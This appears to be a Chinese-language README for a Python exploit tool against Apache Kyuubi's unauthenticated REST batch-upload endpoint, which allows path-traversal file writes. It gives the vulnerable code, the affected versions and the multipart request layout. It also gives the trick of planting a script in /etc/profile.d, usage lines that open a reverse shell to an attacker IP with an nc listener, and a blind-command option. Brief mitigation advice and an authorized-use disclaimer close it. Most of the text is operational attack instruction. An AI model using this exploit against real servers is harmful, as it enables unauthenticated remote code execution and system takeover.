在 Apache Kyuubi 的 REST API 中,通过 multipart 批量提交端点 可实现未经认证的任意文件写入。
POST /api/v1/batches(multipart/form-data)会将 resourceFile 部分写入
$KYUUBI_HOME/work/upload/<batchId>/,使用的是客户端提供的文件名,且没有
路径遍历检查(kyuubi-common 的 Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
../ 文件名可以逃逸上传目录 → 以 Kyuubi 进程用户身份实现任意目录文件写入(CWE-22)。Kyuubi 默认配置为 kyuubi.authentication=NONE,因此该端点无需认证。
1.7.0 – 1.11.11.12.0(增加了 filePath.normalize().startsWith(dir.normalize()) 包含检查)10099(REST 前端,当 authentication=NONE 时无需认证)writeToTempFile 会在扩展名之前插入 -<yyyyMMddHHmmss>-<counter>,因此你可以控制目标目录、扩展名和内容,但不能控制准确的基础文件名。这会破坏按精确文件名的覆盖(~/.ssh/authorized_keys、/etc/crontab、~/.bashrc)——请改而瞄准通过 glob 执行的位置。
此利用程序会投放 /etc/profile.d/pwn.sh → 存储为 /etc/profile.d/pwn-<ts>-<n>.sh,它仍然匹配 /etc/profile.d/*.sh,且会被每个登录 shell source(无需执行位)。它以任何打开登录 shell 的用户身份运行——如果 Kyuubi 以 root 身份运行,并且发生 root 登录(例如 ssh root@host、su -、cron 中的 bash -lc),则为 root。
仅需 Python 3 标准库——无任何依赖。
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
当没有 Spark 后端时,上传会返回 HTTP 500(Error opening batch session)——这是预期行为且无害:文件是在批处理启动之前写入的。
包含两个 multipart 部分:
batchRequest(JSON){"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} ——一个
最小的有效 BatchRequest,使验证通过并到达上传写入点。resourceFile,文件名为 ../../../../../../etc/profile.d/pwn.sh,内容 = 载荷。Kyuubi
会将其(基础文件名被改写后)写入 /etc/profile.d/pwn-<ts>-<n>.sh。随后,登录 shell 会 source /etc/profile.d/*.sh 并执行载荷。
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
端口 10099 上、authentication=NONE 的 Kyuubi REST 前端可被利用。
升级到 Apache Kyuubi ≥ 1.12.0,启用认证(kyuubi.authentication),切勿将 REST 网关暴露给不可信网络,也不要让 Kyuubi 以 root 身份运行。
仅供授权的安全测试和教育使用。仅可用于你拥有或已获得明确测试许可的系统。